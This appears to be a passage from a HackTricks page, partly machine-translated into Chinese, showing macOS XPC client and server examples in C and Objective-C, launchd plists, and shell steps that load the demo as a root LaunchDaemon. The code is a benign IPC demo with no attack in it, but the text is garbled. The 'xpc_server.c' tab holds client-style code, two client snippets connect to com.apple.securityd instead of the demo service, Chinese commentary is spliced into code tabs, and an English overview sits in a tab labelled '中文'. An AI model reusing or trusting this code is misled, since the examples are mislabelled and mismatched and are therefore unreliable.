{% tab title="xpc_client.c" %}

#include <stdio.h>
#include <stdlib.h>
#include <xpc/xpc.h>

int main(int argc, const char * argv[]) {
    xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        xpc_type_t type = xpc_get_type(event);
        
        if (type == XPC_TYPE_DICTIONARY) {
            const char *description = xpc_dictionary_get_string(event, "description");
            printf("Received event: %s\n", description);
        }
    });
    
    xpc_connection_resume(connection);
    
    dispatch_main();
    
    return 0;
}

{% endtab %}

{% tab title="xpc_server.c" %}

// gcc xpc_client.c -o xpc_client

#include <xpc/xpc.h>

int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});

xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");

xpc_connection_send_message(connection, message);

dispatch_main();

return 0;
}

{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在这个文件中你可以指定服务的执行路径、环境变量和启动参数。你还可以设置服务的启动顺序和依赖关系。通过编辑这个文件你可以定制和管理系统中的服务。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.service</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/xpc_server</string>
</array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client

# Save server on it's location
cp xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist

# Call client
./xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server

ObjectiveC 代码示例

{% tabs %} {% tab title="oc_xpc_server.m" %}

// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

@interface MyXPCObject : NSObject <MyXPCProtocol>
@end


@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end

@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end


@implementation MyDelegate

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];

MyXPCObject *my_object = [MyXPCObject new];

newConnection.exportedObject = my_object;

[newConnection resume];
return YES;
}
@end

int main(void) {

NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];

id <NSXPCListenerDelegate> delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];

sleep(10); // Fake something is done and then it ends
}

{% tab title="oc_xpc_client.m" %}oc_xpc_client.m文件

#import <Foundation/Foundation.h>
#import <xpc/xpc.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
        xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
            xpc_type_t type = xpc_get_type(event);
            if (type == XPC_TYPE_DICTIONARY) {
                const char *description = xpc_dictionary_get_string(event, "description");
                if (description) {
                    printf("Received event: %s\n", description);
                }
            }
        });
        xpc_connection_resume(connection);
        dispatch_main();
    }
    return 0;
}

这是一个Objective-C文件用于创建一个XPC客户端连接到com.apple.securityd服务。它使用xpc_connection_create_mach_service函数创建一个特权的Mach服务连接并使用xpc_connection_set_event_handler函数设置一个事件处理程序来处理接收到的事件。在事件处理程序中,它检查事件的类型是否为字典类型,并获取字典中的描述信息。如果存在描述信息,则打印出接收到的事件描述。最后,它通过调用dispatch_main函数来启动主循环,以保持连接的活动状态。

// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];

[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];

[[NSRunLoop currentRunLoop] run];

return 0;
}

macOS IPC (Inter-Process Communication)

Inter-Process Communication (IPC) is a mechanism that allows different processes to communicate with each other and share data. In macOS, there are several IPC mechanisms available, including:

  1. Mach Ports: Mach ports are the fundamental IPC mechanism in macOS. They allow processes to send messages to each other and share resources.

  2. UNIX Domain Sockets: UNIX domain sockets provide a communication channel between processes running on the same machine. They are commonly used for local IPC.

  3. Distributed Objects: Distributed Objects is a high-level IPC mechanism provided by macOS. It allows objects to be shared between processes using a remote procedure call (RPC) mechanism.

  4. XPC: XPC (eXtensible Procedure Call) is a modern IPC mechanism introduced in macOS 10.7. It provides a secure and efficient way for processes to communicate with each other.

Understanding how IPC works in macOS is important for both developers and security researchers. Developers need to know how to use IPC mechanisms effectively to build robust and secure applications. Security researchers need to understand the underlying IPC mechanisms to identify potential vulnerabilities and privilege escalation opportunities.

In this section, we will explore the different IPC mechanisms available in macOS and discuss their security implications. We will also cover common security issues related to IPC and best practices for securing IPC communications.

Table of Contents

{% endtab %}

{% tab title="中文" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.svcoc</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/oc_xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/oc_xpc_server</string>
</array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client

# Save server on it's location
cp oc_xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist

# Call client
./oc_xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥